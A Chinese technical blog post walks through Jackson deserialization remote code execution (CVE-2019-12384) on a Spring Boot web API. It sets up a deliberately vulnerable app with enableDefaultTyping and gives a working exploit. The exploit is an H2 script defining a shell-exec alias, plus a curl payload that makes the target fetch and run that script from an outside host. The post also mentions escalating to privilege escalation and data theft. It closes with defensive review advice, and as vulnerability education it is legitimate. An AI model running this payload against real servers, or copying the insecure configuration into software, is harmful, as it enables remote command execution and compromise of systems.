.net core webapi执行sql_Jackson序列化远程执行漏洞【CVE201912384】

   关于Json反序列化漏洞出现很多次。不管是Jackson抑或是FastJson,每隔一段时间总是暴露出一些漏洞来,比如去年Jackson序列化远程执行漏洞【CVE-2019-12384】。引入log4,h2databased框架和使用jackjson并开启enableDefaultTyping。对外暴露任意形式接口(webAPI、RMI等),而且接口必须存在正反序列化。在这种情况下会出现远程执行漏洞。

下面就以springmvc构建webAPI一个例子。

1.启动类

package com.evil.json;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplicationpublic class App {    public static void main(String[] args) {        SpringApplication.run(App.class, args);    }}

 2.序列化

@Configurationpublic class WebConfiguration {    /**     * Spring Boot默认JSON解析框架     * @return     */    @Bean    public ObjectMapper objectMapper(){        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        return mapper;    }}

3.接口类

package com.evil.json;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.RestController;@RestController@RequestMapping(value = "/api")public class ReqController {    @RequestMapping(value = "/test", method = {RequestMethod.POST, RequestMethod.GET})    public Object baseRequset(@RequestBody Object o){         return o;     };}

攻击方法:

  1. 目标web服务器是window系统可构建以下脚本,上传到任意可访问路径。本样例脚本上传到了http://tangxiaoling-darylho123.stor.sinaapp.com/win.sql。脚本内容如下:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {            String[] command = {"cmd", "/c", cmd};            java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");            return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('calc')

此脚本攻击会打开win系统的计算器程序。修改具体的脚本进行其它的一系列的脚本攻击进行任意的注入(如提权,上传敏感数据等)。

在win10打开cmd

curl -H "Content-TYpe:application/json" -X POST  -d "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://tangxiaoling-darylho123.stor.sinaapp.com/win.sql'\"}]" -v "http://127.0.0.1:8080/api/test"

88a3e0d7bef223b15a3ac2bf37fff15f.png

143f40b9ffd3c67ec1b91761c4a83c7c.png

    当然我们也可以针对linux服务器的注入,只要修改注入脚本即可。如果是以root的身份启动web服务,则基本上可以为所欲为,妥妥地变成肉鸡。鉴于文章不宜太长,这里就不做展示了。需要脚本案例可私信。另外,除了jackJson以外,fastJson(1.2.58包含及以下版本)也有同样的问题。后面的版本已经修复。fastJson是基于黑名单机制,把一些危险列入黑名单中.具体黑名单在其源码com.alibaba.fastjson.parser.ParserConfig类中可以找到。黑名单已经进行简单的加密处理,如下图所示。

6fc14f051b49aff2f8237b793f97944f.png

    此攻击比较鸡肋,前提条件特殊。本次案例仅仅是做一个警示案例。在实际工作中要警惕以下两点

   第1点:要警惕不同框架之间同时使用可能会产生漏洞。本次案例Json序列化框架是一个桥梁,和log4j以及H2database则共同作用提供了注入点。

    第2点:在代码审查中要注意对正反序列化框架的使用,对全局性应该考虑关闭其enableDefaultTyping。对外接口的序列化使用也应关闭。防止无意的引入漏洞。更要防止有意的留后门。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值